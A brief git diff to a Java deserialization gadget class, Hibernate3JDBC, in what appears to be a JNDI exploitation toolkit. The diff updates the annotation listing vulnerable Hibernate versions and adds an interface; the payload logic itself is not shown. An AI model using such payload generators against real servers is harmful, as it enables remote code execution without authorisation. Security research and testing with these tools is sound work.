diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java index d29d945..1be2c3e 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java @@ -18,9 +18,9 @@ import javax.management.BadAttributeValueExpException; import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; -@Dependencies({" org.hibernate<=4.12"}) +@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina"}) @Authors({Authors.Unam4}) -public class Hibernate3JDBC implements ObjectPayload{ +public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { @Override public Object getObject(String command) throws Exception { ClassPool pool = ClassPool.getDefault();